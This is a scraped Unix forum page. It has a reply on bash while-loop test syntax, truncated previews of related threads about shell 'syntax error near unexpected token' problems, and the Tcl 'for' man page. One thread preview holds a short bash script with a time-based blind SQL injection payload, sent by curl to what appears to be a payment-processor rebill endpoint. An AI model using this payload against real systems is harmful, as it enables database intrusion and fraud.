In this context we just want to stop the while loop when a condition is reached. In this context either syntax would work. However using [[ ... ]] with while is a good habit because in some old shells any variables created within a [ ... ] loop are not available after the loop finishes.
The syntax within the brackets is governed by different rules (see man sh).
Coincidentally the syntax for some test commands is the same as the syntax for some conditional expressions (including -ge ).
Qualification: I have just tried both with an ancient /bin/sh and the my [[ .. -ge .. ]] syntax does not work at all!
Guys ,
This is an output of my script errored out for "Syntax error near unexpected token `(' " Can someone tell me whats wrong with my script.
Below is my original script pasted.
#!/bin/bash
Script Creation Date 01/21/2010
Author baraghun
... (7 Replies)
Hi,
I am running the following script through cygwin and getting below mentioned error.
*******************************************
#!/bin/sh
# constants
WORK_DIR="deploy"
INFOFILE="deploy.info"
INTROFILE="Intro.sh"
CMGMT_PKG="com.kintana.cmgmt.deploy"
DEPLOY_PREFIX="mitg"
... (2 Replies)
Hi all,
This is a script which converts hex to bin. However am finding an error while executing
syntax error near unexpected token `='
`($hexfile, $binfile) = @ARGV;'
I am running using ./fil.pl <hexfile> <binfile>
###################################################
#
# this script... (3 Replies)
What do I do here?
#!/bin/bash
payload=-1 AND 1=IF(21,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#
hash=`echo -n $payload md5sum tr -d 'n' sed 'ss-sg' md5sum tr -d 'n' sed 'ss-sg'`
curl --data cs2=chronopay&cs1=$payload&cs3=$hash&transaction_type=rebill... (2 Replies)
Hi,
I am trying to read the session log through script. But it keeps showing me some error near. I have tried everything. Even tried converting the script using sed command to remove the hidden characters(\r).But nothing seems to be working.Below is the script :
#!/bin/bash
cd... (6 Replies)
I tried to execute the code but I got this error
./Array.c: line 9: syntax error near unexpected token '('
./Array.c: line 9: ' nvals = get_data(a,MAXARRAY);'
and
#include<stdio.h>
#define MAXARRAY 1000
main()
{
int a,
nvals;
nvals =... (7 Replies)
Hi all,
I have a simple script that doesn't work somehow. I can't seem to be spotting the cause of the malfunction.
count=$((1))
for item in `cat test1.txt`
printf %s `sed -n $((count))p test2.txt` > test3.txt
count=$((count+1))
do
something
done
I get ;
./why.sh: line 3:... (14 Replies)
I have 2 files like a.txt and b.txt and the content is as below
cat a.txt
810750125 117780 /BSCSQAT4A/bscsqat4a/lib/jar/wclt_common.jar
1803152428 13300 /BSCSQAT4A/bscsqat4a/lib/jar/WFMSSupportTool.jar
2663502779 67049 /BSCSQAT4A/bscsqat4a/lib/jar/wma.jar
687942896 665272... (1 Reply)
Dears,
While executing the below script im getting the error at line 30. Please let me know what changes to be done to fix this.
test.sh: line 30: syntax error near unexpected token `done'
test.sh: line 30: ` done '
#!/bin/sh
# Rev. PA1
# author: eillops
# date: 26-04-2018
#
#... (1 Reply)
detect_mouse_mvt.sh
/home/andy/bin/detect_mouse_mvt.sh: line 4: syntax error near unexpected token `('
/home/andy/bin/detect_mouse_mvt.sh: line 4: `fh = file('/dev/input/mice')'
#!/bin/bash
#
#
fh = file('/dev/input/mice')
while True:
fh.read(3)
print 'Mouse... (15 Replies)
Discussion started by: drew77
15 Replies
LEARN ABOUT REDHAT
for
for(n) Tcl Built-In Commands for(n)
__________________________________________________________________________________________________________________________________________________NAME
for - ``For'' loop
SYNOPSIS
for start test next body
_________________________________________________________________DESCRIPTION
For is a looping command, similar in structure to the C for statement. The start, next, and body arguments must be Tcl command strings,
and test is an expression string. The for command first invokes the Tcl interpreter to execute start. Then it repeatedly evaluates test
as an expression; if the result is non-zero it invokes the Tcl interpreter on body, then invokes the Tcl interpreter on next, then repeats
the loop. The command terminates when test evaluates to 0. If a continue command is invoked within body then any remaining commands in
the current execution of body are skipped; processing continues by invoking the Tcl interpreter on next, then evaluating test, and so on.
If a break command is invoked within body or next, then the for command will return immediately. The operation of break and continue are
similar to the corresponding statements in C. For returns an empty string.
Note: test should almost always be enclosed in braces. If not, variable substitutions will be made before the for command starts execut-
ing, which means that variable changes made by the loop body will not be considered in the expression. This is likely to result in an
infinite loop. If test is enclosed in braces, variable substitutions are delayed until the expression is evaluated (before each loop iter-
ation), so changes in the variables will be visible. For an example, try the following script with and without the braces around $x<10:
for {set x 0} {$x<10} {incr x} {
puts "x is $x"
}
SEE ALSO
break, continue, foreach, while
KEYWORDS
for, iteration, looping
Tcl for(n)